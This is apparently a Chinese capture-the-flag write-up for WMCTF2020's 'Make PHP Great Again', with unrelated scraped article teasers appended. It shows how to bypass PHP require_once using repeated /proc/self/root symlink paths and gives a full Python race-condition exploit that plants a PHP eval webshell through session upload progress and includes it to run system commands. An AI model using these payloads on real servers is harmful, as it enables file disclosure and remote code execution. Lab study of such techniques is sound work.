[WMCTF2020]Make PHP Great Again require_once 特性

php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台

这里是特性

我们首先来解释一下

 <?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {require_once $_GET['file'];
}

这个是我们的源代码

PHP包含的格式是将 已经包含的文件和文件的真是路径放入哈希表然后如果存在 就不包含了

特性

这里的特性总结就是require-once如果包含过多软链接 就会失效

所以我们通过大量软链接实现绕过

这里我们使用两个 proc内容

Proc

/proc/self  当前的pid其中存在root所以我们继续包含/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self实现大量软链接然后最后在var/www/html/flag.php 即可实现php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

实现包含

然后这里还可以通过 session upload LIF 实现sess文件包含


import io
import requests
import threading
sessid = 'bbbbbbb'
data = {"cmd":"system('cat flag.php');"}   #修改命令
def write(session):while True:f = io.BytesIO(b'a' * 1024 * 50)#发送uploadresp = session.post( 'http://7ccbe9ad-2db2-4fa8-bb2e-972cda495260.node4.buuoj.cn:81/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):while True:#文件包含resp = session.post('http://7ccbe9ad-2db2-4fa8-bb2e-972cda495260.node4.buuoj.cn:81/?file=/tmp/sess_'+sessid,data=data)if 'flag' in resp.text:  #判断条件print(resp.text)event.clear()breakelse:print("[+++++++++++++]retry")
if __name__=="__main__":event=threading.Event()with requests.session() as session:for i in range(1,30): threading.Thread(target=write,args=(session,)).start()for i in range(1,30):threading.Thread(target=read,args=(session,)).start()event.set()

 这里再介绍一下非预期

/proc/self/cwd 这里会链接到我们当前的目录中

然后这里我们尝试读取


发现是ok的 成功读取到内容 所以这里我们使用

/new/../../proc/slef/cwd/flag

就会被当做一个新的绝对路径 存入哈希表 不会造成二次包含

这里前面不管换什么都可以解析 因为他只会去解析最终的内容

然后就是

另一个 引用的内容

/proc/self/cwd/flag.php

但是这里我们解析不到 因为这里会回去原本进行解析

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/222146.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

考验的是技术!如何绕过微软设计的安装Windows 11的硬件要求

这篇文章解释了绕过微软设计的硬件要求的三种方法,允许你在几乎任何电脑上安装Windows 11。 注意:绕过Windows 11要求所涉及的一些过程需要更深入的技术知识。请不要编辑计算机的注册表,除非你对此乐此不疲,因为它可能会损坏你的设备。 绕过Windows 11要求 虽然绕过Wind…

AUTO.js连接电脑时,握手失败

使用模拟器上的autox.js连接vscode。ipv4正确&#xff0c;但总是握手失败。 检查了一下vscode安装的插件&#xff0c;最开始安装的是这个&#xff1a; 将之前安装的插件禁用。 更换这个插件&#xff1a; 然后启动服务后就可以连接成功了。

Nginx服务器配置SSL证书

本文将全面介绍如何在Nginx或Tengine服务器配置SSL证书&#xff0c;具体包括下载和上传证书文件&#xff0c;在Nginx上配置证书文件、证书链和证书密钥等参数&#xff0c;以及安装证书后结果的验证。成功配置SSL证书后&#xff0c;您将能够通过HTTPS加密通道安全访问Nginx服务器…

成分党品牌

现在越来越多的成分党品牌崛起&#xff0c;主打成分护肤&#xff0c;不添加任何成分&#xff0c;其中有Timeless、The Ordinary、John Jeff、欧邦琪&#xff08;Obagi&#xff09;、修丽可&#xff08;SkinCeuticals&#xff09;、HFP 。 参考文章&#xff1a;成分党都会良心推…

试以单链表为存储结构实现简单选择排序的算法

简单选择排序&#xff0c;就是每趟把剩余元素最小或者最大的选出来排到前面 这道题值得推敲的是&#xff0c;p作为一个链表结点也是可以作为for循环的初始条件和判断条件的&#xff0c;至于查找到最小值之后&#xff0c;可以把两者的数值进行一个交换&#xff0c;就不用删结点…

怎么抠图换背景?这三个方法让你轻松抠图

怎么抠图换背景&#xff1f;抠图是每个独立站商家每天必不可少的工作&#xff0c;简单一张图用PS进行抠图还好&#xff0c;但如何多张图&#xff0c;用PS就效率非常低&#xff0c;且需要专业的PS技能才能上手实现精准抠图的目的&#xff0c;那么怎么快速抠图换背景呢&#xff0…

risc-v system instruction

ECALL ecall 指令以前叫做 scall&#xff0c;用于执行环境的变更&#xff0c;它会根据当前所处模式触发不同的执行环境切换异常, 用来执行需要更高权限才能执行的功能; 简单来说&#xff0c;ecall 指令将权限提升到内核模式并将程序跳转到指定的地址。操作系统内核和应用程序…

检测车牌的SIFT特征并匹配

# 代码5-14 检测车牌的SIFT特征并匹配 import cv2img1 cv2.imread(../data/plate.jpg) img2 cv2.imread(../data/car.jpg)sift cv2.SIFT_create() # 利用sift.detectAndCompute()函数找到特征点&#xff0c;计算描述符&#xff1b; kp1, des1 sift.detectAndCompute(img1, …

web279(s2-001)

目前java小白一个&#xff0c;主要是学学别人的思路 进入题目&#xff0c;登录框一个 抓包也没发现什么东西 网上说是struts2框架 Struts2是用Java语言编写的一个基于MVC设计模式的Web应用框架 判断是不是基于struts2的一些方法&#xff1a; 1.通过页面回显的错误消息来判断…

6.5.编解码器信息的收集

那在上节课中呢&#xff1f;我向你介绍了add track相关的内容&#xff0c;那今天呢&#xff1f;我们来看看编解码器信息的收集。那在这里呢&#xff0c;我们需要问几个重要的问题&#xff0c;那首先呢&#xff0c;就是我们上节课通过&#xff0c;可以让web rtc知道我们都要传输…

孩子都能学会的FPGA:第三十一课——用FPGA实现SPI主机发送数据

&#xff08;原创声明&#xff1a;该文是作者的原创&#xff0c;面向对象是FPGA入门者&#xff0c;后续会有进阶的高级教程。宗旨是让每个想做FPGA的人轻松入门&#xff0c;作者不光让大家知其然&#xff0c;还要让大家知其所以然&#xff01;每个工程作者都搭建了全自动化的仿…

安装spaCy及语言包下载安装

文章目录 1. spaCy的安装1.1 安装spaCy包方式1 : 通过pip / conda命令安装方式2 : 通过离线导入 1.2 安装语言模型方式1 : 通过pip / conda命令安装方式2 : 通过离线导入 2. 常见问题a. 版本问题 3. 参考文档 关注公众号&#xff1a;『AI学习星球』 回复&#xff1a;遥感图像语…

使用podman管理容器

本章主要介绍使用 podman 管理容器。 了解什么是容器&#xff0c;容器和镜像的关系安装和配置podman拉取和删除镜像给镜像打标签导出和导入镜像创建和删除镜像数据卷的使用管理容器的命令使用普通用户管理容器 对于初学者来说&#xff0c;不太容易理解什么是容器&#xff0c;…

论文阅读《Parameterized Cost Volume for Stereo Matching》

论文地址&#xff1a;https://openaccess.thecvf.com/content/ICCV2023/papers/Zeng_Parameterized_Cost_Volume_for_Stereo_Matching_ICCV_2023_paper.pdf 源码地址&#xff1a;https://github.com/jiaxiZeng/Parameterized-Cost-Volume-for-Stereo-Matching 概述 现有的立体匹…

【C语言】操作符详解(四):结构成员访问操作符

结构成员访问操作符 结构体 ⭐C语言已经提供了内置类型&#xff0c;如: char、short、int、long、float、double等&#xff0c;但是只有这些内置类型还是不够的&#xff0c;假设我想描述学生&#xff0c;描述一本书&#xff0c;这时单一的内置类型是不行的。描述一个学生需要名…

MATLAB 最小二乘空间直线拟合 (37)

MATLAB 最小二乘空间直线拟合 (37) 一、算法介绍二、算法实现1.代码一、算法介绍 对于空间中的这样一组点:大致呈直线分布,散乱分布在直线左右, 我们可采用最小二乘方法拟合直线,使用下面的代码可以得到图中的结果。(其中图片中的点解释和具体的实现代码如下所示) C++…

云计算:Vmware 安装 FusionCompute

目录 一、理论 1.FusionCompute 二、实验 1.Vmware 安装 FusionCompute&#xff08;CNA&#xff09; 2.Vmware 安装 FusionCompute&#xff08;VRM&#xff09; 三、问题 1. VRM-WEB登录失败 2.Windows cmd中无法ping通虚拟机 一、理论 1.FusionCompute &#xff08;…

孩子还是有一颗网安梦——Bandit通关教程:Level 13 → Level 14

&#x1f575;️‍♂️ 专栏《解密游戏-Bandit》 &#x1f310; 游戏官网&#xff1a; Bandit游戏 &#x1f3ae; 游戏简介&#xff1a; Bandit游戏专为网络安全初学者设计&#xff0c;通过一系列级别挑战玩家&#xff0c;从Level0开始&#xff0c;逐步学习基础命令行和安全概念…

TrustZone之强制隔离

TrustZone有时被称为一个强制执行的保护系统。请求者表示其访问的安全性,而内存系统决定是否允许该访问。内存系统基于何种方式进行检查呢? 在大多数现代系统中,内存系统的检查是由互连完成的。例如,Arm NIC-400允许系统设计人员为每个连接的完成者指定以下内容: • 安全…

孩子还是有一颗网安梦——Bandit通关教程:Level 12 → Level 13

&#x1f575;️‍♂️ 专栏《解密游戏-Bandit》 &#x1f310; 游戏官网&#xff1a; Bandit游戏 &#x1f3ae; 游戏简介&#xff1a; Bandit游戏专为网络安全初学者设计&#xff0c;通过一系列级别挑战玩家&#xff0c;从Level0开始&#xff0c;逐步学习基础命令行和安全概念…